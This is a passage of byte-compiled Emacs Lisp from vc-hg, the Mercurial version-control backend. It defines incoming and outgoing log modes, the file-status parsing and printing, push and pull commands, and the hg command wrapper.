standard-syntax-table set-char-table-parent syntax-table use-local-map set-syntax-table run-mode-hooks vc-hg-outgoing-mode-hook vc-hg-outgoing-mode-abbrev-table local-abbrev-table] 6 (#$ . 13092) nil]) (byte-code "\302\303N\204\f \304\302\303\305#\210\306\307!\204 \304\307\310\311#\210\307B\312\307!\204( \313\307\314 \"\210\306\315!\2044 \304\315\310\311#\210\315B\312\315!\204D \313\315\316 \"\210\304\301\310\311#\210\301B\312\301!\204^ \313\301\317\301\320\"\210 \"\210\304\311\321\322#\207" [current-load-list vc-hg-incoming-mode-abbrev-table vc-hg-incoming-mode-hook variable-documentation put "Hook run when entering Hg-Incoming mode.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it. (This is true for all hook variables.)" boundp vc-hg-incoming-mode-map definition-name vc-hg-incoming-mode default-boundp set-default make-sparse-keymap vc-hg-incoming-mode-syntax-table make-syntax-table define-abbrev-table nil derived-mode-parent vc-hg-log-view-mode] 5) #@526 Major mode derived from `vc-hg-log-view-mode' by `define-derived-mode'. It inherits all of the parent's attributes, but has its own keymap, abbrev table and syntax table: `vc-hg-incoming-mode-map', `vc-hg-incoming-mode-abbrev-table' and `vc-hg-incoming-mode-syntax-table' which more-or-less shadow vc-hg-log-view-mode's corresponding tables. In addition to any hooks its parent mode might have run, this mode runs the hook `vc-hg-incoming-mode-hook', as the final step during initialization. \{vc-hg-incoming-mode-map} (defalias 'vc-hg-incoming-mode #[nil "\306\300!\210\307\310 \210\311\312\310\313N\203 \314\311\313\310\313N#\210\315 !\204' \316 \317 \"\210\320\f!\211 \2036 \321 =\203< \322\f\323 \"\210)\324 !\210\325\f!\210)\326\327!\207" [delay-mode-hooks major-mode mode-name vc-hg-incoming-mode-map vc-hg-incoming-mode-syntax-table parent make-local-variable t vc-hg-log-view-mode vc-hg-incoming-mode "Hg-Incoming" mode-class put keymap-parent set-keymap-parent current-local-map char-table-parent standard-syntax-table set-char-table-parent syntax-table use-local-map set-syntax-table run-mode-hooks vc-hg-incoming-mode-hook vc-hg-incoming-mode-abbrev-table local-abbrev-table] 6 (#$ . 15130) nil]) (byte-code "\300\301\302\303#\210\301\304N\204 \300\301\304\305#\210\300\207" [put vc-hg-extra-fileinfo->rename-state cl-compiler-macro #[(--cl-whole-arg-- cl-x) "\301\302\303\304\211\211&\207" [cl-x cl-defsubst-expand (cl-x) (block vc-hg-extra-fileinfo->rename-state (or (and (memq (aref cl-x 0) cl-struct-vc-hg-extra-fileinfo-tags)) (error "vc-hg-extra-fileinfo->rename-state accessing a non-vc-hg-extra-fileinfo")) (aref cl-x 1)) nil] 7] byte-compile cl-byte-compile-compiler-macro] 4) (defalias 'vc-hg-extra-fileinfo->rename-state #[(cl-x) "\302H >\204\f \303\304!\210\305H\207" [cl-x cl-struct-vc-hg-extra-fileinfo-tags 0 error "vc-hg-extra-fileinfo->rename-state accessing a non-vc-hg-extra-fileinfo" 1] 2]) (byte-code "\300\301\302\303#\210\300\304\305\306#\210\304\307N\204 \300\304\307\310#\210\300\207" [put vc-hg-extra-fileinfo->rename-state setf-method #[(cl-x) "\301\302\303\304\305%\207" [cl-x cl-struct-setf-expander vc-hg-extra-fileinfo vc-hg-extra-fileinfo->rename-state #1=(and (memq (aref cl-x 0) cl-struct-vc-hg-extra-fileinfo-tags)) 1] 6] vc-hg-extra-fileinfo->extra-name cl-compiler-macro #[(--cl-whole-arg-- cl-x) "\301\302\303\304\211\211&\207" [cl-x cl-defsubst-expand (cl-x) (block vc-hg-extra-fileinfo->extra-name (or #1# (error "vc-hg-extra-fileinfo->extra-name accessing a non-vc-hg-extra-fileinfo")) (aref cl-x 2)) nil] 7] byte-compile cl-byte-compile-compiler-macro] 4) (defalias 'vc-hg-extra-fileinfo->extra-name #[(cl-x) "\302H >\204\f \303\304!\210\305H\207" [cl-x cl-struct-vc-hg-extra-fileinfo-tags 0 error "vc-hg-extra-fileinfo->extra-name accessing a non-vc-hg-extra-fileinfo" 2] 2]) (byte-code "\300\301\302\303#\210\300\304\305\306#\210\304\307N\204 \300\304\307\310#\210\300\207" [put vc-hg-extra-fileinfo->extra-name setf-method #[(cl-x) "\301\302\303\304\305%\207" [cl-x cl-struct-setf-expander vc-hg-extra-fileinfo vc-hg-extra-fileinfo->extra-name (and #1=(memq (aref cl-x 0) cl-struct-vc-hg-extra-fileinfo-tags)) 2] 6] vc-hg-extra-fileinfo-p cl-compiler-macro #[(--cl-whole-arg-- cl-x) "\301\302\303\304\211\211&\207" [cl-x cl-defsubst-expand (cl-x) (block vc-hg-extra-fileinfo-p (and (vectorp cl-x) (>= (length cl-x) 3) #1# t)) nil] 7] byte-compile cl-byte-compile-compiler-macro] 4) (defalias 'vc-hg-extra-fileinfo-p #[(cl-x) "\302!\205 G\303Y\205 \304H >\205 \305\207" [cl-x cl-struct-vc-hg-extra-fileinfo-tags vectorp 3 0 t] 2]) (byte-code "\300\301\302\303#\210\301\304N\204 \300\301\304\305#\210\300\207" [put make-vc-hg-extra-fileinfo cl-compiler-macro #[(cl-whole &rest #1=#:--cl-rest--) "\305>A@\306>A@ \2038 @\307>\203! AA\211\202 \310>A@\203/ \311\211\202 \312\313 @\"\210\202 )\314\315\316\317\f\311 \n&*\207" [#1# rename-state extra-name #:--cl-keys-- cl-whole :rename-state :extra-name (:rename-state :extra-name :allow-other-keys) :allow-other-keys nil error "Keyword argument %s not one of (:rename-state :extra-name)" cl-defsubst-expand (rename-state extra-name) (block make-vc-hg-extra-fileinfo (vector 'cl-struct-vc-hg-extra-fileinfo rename-state extra-name)) t] 9 "Not documented\n\n(fn CL-WHOLE &cl-quote &key RENAME-STATE EXTRA-NAME)"] byte-compile cl-byte-compile-compiler-macro] 4) #@51 Not documented (fn &key RENAME-STATE EXTRA-NAME) (defalias 'make-vc-hg-extra-fileinfo #[(&rest #1=#:--cl-rest--) "\304>A@\305>A@ \2038 @\306>\203! AA\211\202 \307>A@\203/ \310\211\202 \311\312 @\"\210\202 )\313\314 \n#*\207" [#1# rename-state extra-name #2=#:--cl-keys-- :rename-state :extra-name (:rename-state :extra-name :allow-other-keys) :allow-other-keys nil error "Keyword argument %s not one of (:rename-state :extra-name)" vector cl-struct-vc-hg-extra-fileinfo] 5 (#$ . 19547)]) (byte-code "\300\301\302\303#\210\301\304N\204 \300\301\304\305#\210\300\207" [put vc-hg-create-extra-fileinfo cl-compiler-macro #[(--cl-whole-arg-- rename-state extra-name) "\302\303\304\305\306\211 &\207" [rename-state extra-name cl-defsubst-expand (rename-state extra-name) (block vc-hg-create-extra-fileinfo (vector 'cl-struct-vc-hg-extra-fileinfo rename-state extra-name)) t nil] 8] byte-compile cl-byte-compile-compiler-macro] 4) (defalias 'vc-hg-create-extra-fileinfo #[(rename-state extra-name) "\302\303 #\207" [rename-state extra-name vector cl-struct-vc-hg-extra-fileinfo] 4]) (byte-code "\302B\303C\304\305\306\307#\210\304\305\310\311#\210\304\305\312\313#\210\304\305\314\315#\210\304\316\317\315#\210\304\320\317\315#\210\304\321\317\322#\210\304\323\317\315#\210\304\324\317\315#\207" [custom-print-functions cl-struct-vc-hg-extra-fileinfo-tags #[(cl-x cl-s cl-n) "\303!\205P G\304Y\205P \305H >\205P \306\307\n\"\210\306\310\n\"\210\311\305H >\204, \312\313!\210\314H\n\"\210\306\315\n\"\210\311\305H >\204D \312\316!\210\317H\n\"\210\306\320\n\"\210\321\207" [cl-x cl-struct-vc-hg-extra-fileinfo-tags cl-s vectorp 3 0 princ "#S(vc-hg-extra-fileinfo" " rename-state" prin1 error "vc-hg-extra-fileinfo->rename-state accessing a non-vc-hg-extra-fileinfo" 1 " extra-name" "vc-hg-extra-fileinfo->extra-name accessing a non-vc-hg-extra-fileinfo" 2 ")" t] 3] cl-struct-vc-hg-extra-fileinfo put vc-hg-extra-fileinfo cl-struct-slots ((cl-tag-slot) (rename-state) (extra-name)) cl-struct-type (vector nil) cl-struct-include nil cl-struct-print t vc-hg-create-extra-fileinfo side-effect-free make-vc-hg-extra-fileinfo vc-hg-extra-fileinfo-p error-free vc-hg-extra-fileinfo->extra-name vc-hg-extra-fileinfo->rename-state] 4) #@51 Pretty-printer for the vc-dir-fileinfo structure. (defalias 'vc-hg-dir-printer #[(info) "\3038\304\305\"\210 \205l \306\307\310\311 \312H\n>\204 \313\314!\210 \315H\316\"\203) \317\202X \311 \312H\n>\2046 \313\314!\210 \315H\320\"\203B \321\202X \311 \312H\n>\204O \313\314!\210 \315H\322\"\205X \323 \312H\n>\204d \313\324!\210 \303H#\325\326#c)\207" [info extra cl-struct-vc-hg-extra-fileinfo-tags 2 vc-default-dir-printer Hg propertize format " (%s %s)" memql 0 error "vc-hg-extra-fileinfo->rename-state accessing a non-vc-hg-extra-fileinfo" 1 'copied "copied from" 'renamed-from "renamed from" 'renamed-to "renamed to" "vc-hg-extra-fileinfo->extra-name accessing a non-vc-hg-extra-fileinfo" face font-lock-comment-face] 6 (#$ . 21801)]) (defalias 'vc-hg-after-dir-status #[(update-function) "\306\211\307\306\211\211\211 eb\210m\204\220 \310\306f\f\"A\311`\312\\\313 \" \204. \306\202\212 \314=\2039 \306\202\212 \315=\203N AA\316\317\320 #\240\210\321\202\212 \203 \322=\203 \312 8\323H>\204g \324\325!\210\312 8\326\327I\210 \316\317\330 @#E\nB\306\202\212 \306E\211\nB\306\306y\210\202 \n!.\207" [last-line-copy last-added result translated translation file nil ((61 . up-to-date) (67 . up-to-date) (65 . added) (82 . removed) (77 . edited) (73 . ignored) (33 . missing) (32 . copy-rename-line) (63 . unregistered)) assoc buffer-substring-no-properties 2 line-end-position up-to-date copy-rename-line vector cl-struct-vc-hg-extra-fileinfo copied t removed 0 error "vc-hg-extra-fileinfo->rename-state storing a non-vc-hg-extra-fileinfo" 1 renamed-from renamed-to status-char cl-struct-vc-hg-extra-fileinfo-tags update-function] 8]) (defalias 'vc-hg-dir-status #[(dir update-function) "\302p\303\304\305%\210\306\307\310 DD!\207" [dir update-function vc-hg-command async "status" "-C" vc-exec-after vc-hg-after-dir-status quote] 6]) (defalias 'vc-hg-dir-status-files #[(dir files default-state update-function) "\303\304p\305\306\307 &\210\310\311\312\nDD!\207" [dir files update-function apply vc-hg-command async "status" "-C" vc-exec-after vc-hg-after-dir-status quote] 8]) (defalias 'vc-hg-dir-extra-header #[(name &rest commands) "\303\304\305#\303\306\307!r q\210\310\216\311\312p\313\314\n%\210\315edS\"+\304\316#P\207" [name #1=#:temp-buffer commands propertize face font-lock-type-face generate-new-buffer " *temp*" ((byte-code "\301!\203\n \302!\210\301\207" [#1# buffer-name kill-buffer] 2)) apply vc-hg-command 0 nil buffer-substring-no-properties font-lock-variable-name-face] 8]) #@53 Generate extra status headers for a Mercurial tree. (defalias 'vc-hg-dir-extra-headers #[(dir) "\302\303\304\"\305\302\306\307\310#\305\302\311\307\312#\260)\207" [dir default-directory vc-hg-dir-extra-header "Root : " "root" "\n" "Branch : " "id" "-b" "Tags : " "-t"] 8 (#$ . 24352)]) #@26 Hg-outgoing Display Menu (defvar log-view-mode-menu nil (#$ . 24663)) (easy-menu-do-define 'log-view-mode-menu vc-hg-outgoing-mode-map "Hg-outgoing Display Menu" '("Hg-outgoing" ["Push selected" vc-hg-push])) #@26 Hg-incoming Display Menu (defvar log-view-mode-menu nil (#$ . 24878)) (easy-menu-do-define 'log-view-mode-menu vc-hg-incoming-mode-map "Hg-incoming Display Menu" '("Hg-incoming" ["Pull selected" vc-hg-pull])) (defalias 'vc-hg-outgoing #[nil "\301\302\303\304\305\306%\210\307!\210\310 )\207" [bname "*Hg outgoing*" vc-hg-command 0 nil "outgoing" "-n" pop-to-buffer vc-hg-outgoing-mode] 6 nil nil]) (defalias 'vc-hg-incoming #[nil "\301\302\303\304\305\306%\210\307!\210\310 )\207" [bname "*Hg incoming*" vc-hg-command 0 nil "incoming" "-n" pop-to-buffer vc-hg-incoming-mode] 6 nil nil]) (defalias 'vc-hg-push #[nil "\301 \211\203 \302\303\304\303\305\306\307\310\311\"\"B$\202 \312\313!)\207" [marked-list log-view-get-marked vc-hg-command nil 0 "push" apply nconc mapcar #[(arg) "\301D\207" [arg "-r"] 2] error "No log entries selected for push"] 11 nil nil]) (defalias 'vc-hg-pull #[nil "\301 \211\203 \302\303\304\303\305\306\307\310\311\"\"B$\202 \312\313!)\207" [marked-list log-view-get-marked vc-hg-command nil 0 "pull" apply nconc mapcar #[(arg) "\301D\207" [arg "-r"] 2] error "No log entries selected for pull"] 11 nil nil]) #@193 A wrapper around `vc-do-command' for use in vc-hg.el. The difference to vc-do-command is that this function always invokes `hg', and that it passes `vc-hg-global-switches' to it before FLAGS. (defalias 'vc-hg-command #[(buffer okstatus file-or-list &rest flags) "\305\306\206 \307 \310\n ;\203 \fB\202 \311 \f\"&\207" [buffer okstatus file-or-list vc-hg-global-switches flags apply vc-do-command "*vc*" "hg" append] 9 (#$ . 26036)]) (defalias 'vc-hg-root #[(file) "\301\302\"\207" [file vc-find-root ".hg"] 3]) (provide 'vc-hg)
Close
